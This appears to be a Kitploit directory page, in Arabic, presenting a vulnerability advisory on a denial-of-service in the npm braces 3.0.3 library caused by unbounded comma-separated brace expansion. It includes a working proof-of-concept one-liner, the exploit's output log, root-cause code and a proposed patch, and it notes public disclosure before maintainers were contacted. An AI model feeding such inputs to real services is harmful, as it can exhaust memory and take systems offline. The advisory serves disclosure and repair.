Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
DoS-Braces-3.03 — مرشح CVE: DoS في braces@3.0.3 عبر توسيع الأقواس المفصول بفواصل (إصلاح غير مكتمل لـ CVE-2024-4068) | Kitploit
أدوات/GitHubGitHub/cyeezy08/dos-braces-3.03
التحليل الثابتتحليل الثغرات الأمنيةتحليل الكودالاستغلالالاختبار العشوائي
GitHubcyeezy08/dos-braces-3.03

DoS-Braces-3.03

مرشح CVE: DoS في [email protected] عبر توسيع الأقواس المفصول بفواصل (إصلاح غير مكتمل لـ CVE-2024-4068)

عرض المستودع
منذ 20 أياملم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

مرشح CVE: رفض الخدمة في braces عبر توسيع الأقواس المفصولة بفواصل

الحزمة: braces (npm) الإصدار: 3.0.3 (الأحدث) الخطورة: عالية (CVSS 7.5) CWE: CWE-400 استهلاك الموارد غير المتحكم فيه الحالة: غير مبلغ عنها

ملاحظة: هذا اكتشاف مستقل. عالج CVE-2024-4068 تحديد طول الإدخال (MAX_LENGTH=10000) لكنه لم يعالج الانفجار التوافقي للمخرجات الناتج عن أنماط الأقواس المفصولة بفواصل. يؤثر CVE-2026-45149 على حزمة مختلفة (juliangruber/brace-expansion)، وليست micromatch/braces.


الثغرة

مكتبة braces معرضة لرفض الخدمة من خلال استهلاك الموارد غير المتحكم فيه عند معالجة أنماط توسيع الأقواس المفصولة بفواصل.

إدخال خبيث لا يتجاوز 110 أحرفًا يتسبب في قيام المكتبة بتوليد 4.2 مليون عنصر في الذاكرة، ويستهلك أكثر من 1.2 غيغابايت من الذاكرة ويحجب المعالج لمدة 9-30 ثانية (يختلف حسب العتاد).

هذا إصلاح غير مكتمل لـ CVE-2024-4068. حدّ التصحيح الأصلي طول الإدخال بـ 10,000 حرف لكنه لم يحدّ المخرجات التوافقية للتوسعات المفصولة بفواصل.

الأثر

braces تبعية لـ micromatch، والتي تُستخدم في:

  • webpack (أداة تجميع)
  • vitest (مشغّل اختبارات)
  • jest (مشغّل اختبارات)
  • eslint (أداة فحص)
  • chokidar (مراقب ملفات)
  • مئات الأدوات الأخرى

أي تطبيق يمرر إدخالًا يتحكم به المستخدم إلى braces.expand() معرّض للثغرة.

السبب الجذري

في lib/expand.js، يتحقق حارس rangeLimit من النطاقات الرقمية فقط ({1..1000})، وليس الأنماط المفصولة بفواصل ({a,b}):

root@kitploit:~
// lib/expand.js:57
if (node.ranges > 0) {  // only numeric ranges are checked
  if (utils.exceedsLimit(...args, options.step, rangeLimit)) {
    throw new RangeError('...');
  }
}
// Comma-separated expansions skip this check entirely

تبني الدالة append() بشكل تكراري جميع توليفات 2^N في مصفوفة دون أي حد للمخرجات.

إثبات المفهوم

اختبار سريع

root@kitploit:~
mkdir braces-test && cd braces-test
npm init -y && npm install [email protected]
node -e "
const braces = require('braces');
const input = '{a,b}'.repeat(22);
console.time('expand');
const result = braces.expand(input);
console.timeEnd('expand');
console.log('Items:', result.length.toLocaleString());
"

السكربت الكامل لإثبات المفهوم

root@kitploit:~
# Install dependency first
npm install [email protected]
python3 poc_braces_dos.py

نتائج الاختبار

أعداد العناصر حتمية. يختلف التوقيت والذاكرة حسب العتاد.

دليل الثغرة (مخرجات إثبات المفهوم)

root@kitploit:~
======================================================================
PoC: braces 3.0.3 Denial of Service
CVE-CANDIDATE: CVE-2024-4068 incomplete fix
======================================================================

[*] Finding DoS threshold...

  n=10: input=   50 chars ->      1,024 items,      4,096 chars,     11ms, +912KB
  n=15: input=   75 chars ->     32,768 items,    163,840 chars,     96ms, +15915KB
  n=18: input=   90 chars ->    262,144 items,  1,310,720 chars,    737ms, +115535KB
  n=20: input=  100 chars ->  1,048,576 items,  5,242,880 chars,   1833ms, +242558KB
  n=22: input=  110 chars ->  4,194,304 items, 20,971,520 chars,   9723ms, +1196410KB
  n=25: TIMEOUT/OOM

[*] Conclusion:
  - Input size: 110 characters (well within the 10,000 character limit)
  - Memory consumption: >1.2GB
  - CPU block time: ~10 seconds

مسار الكود المتأثر

root@kitploit:~
braces.expand(input)
  -> lib/expand.js:walk()
    -> lib/expand.js:append()  <- no output limit
      -> recursively builds all 2^N combinations
        -> returns massive array

الإصلاح الموصى به

أضف فحص حد عند كل خطوة دمج في lib/expand.js لمنع الانفجار التوافقي. لفّ استدعاءات append داخل walk() بدالة مساعدة للتحقق:

root@kitploit:~
const queueLimit = (queue, stash, enclose) => {
  if (rangeLimit === Infinity) return append(queue, stash, enclose);
  const queueLength = queue ? [].concat(queue).length : 0;
  const stashLength = [].concat(stash).length;
  const nextLength = queueLength === 0 ? stashLength : (stashLength === 0 ? queueLength : queueLength * stashLength);
  if (nextLength > rangeLimit) {
    throw new RangeError('expanded array length exceeds range limit. Use options.rangeLimit to increase or disable the limit.');
  }
  return append(queue, stash, enclose);
};

استبدال استدعاءات append() داخل walk() بـ queueLimit() يضمن أن توليفات الأقواس والنطاقات المتتالية محدودة بأمان.

الجدول الزمني للإفصاح

التاريخالحدث
2026-07-17اكتشاف الثغرة
2026-07-21الإفصاح العلني (لم يبدأ الإفصاح المسؤول بعد)

الملفات

الإسناد

تم اكتشافها بواسطة cyeezy08.

تنزيل الأداة
الإدخال (بالأحرف)العناصر المخرجةالوقت (تقريبي)الذاكرة (تقريبية)
501,024~10ms~1MB
7532,768~100ms~16MB
90262,144~700ms~116MB
1001,048,576~2-4s~243-468MB
1104,194,304~10-30s~1.2GB+
125+Crash/OOMTimeoutOOM Kill
الملفالوصف
poc_braces_dos.pyسكربت إثبات مفهوم عملي
findings.mdتحليل مفصل للثغرة
verdict.mdالتأكيد ودرجة CVSS
disclosure-report.mdنشرة جاهزة للتقديم
patch.diffالإصلاح المقترح لـ lib/expand.js
email-draft.txtمسودة بريد إلكتروني للمشرفين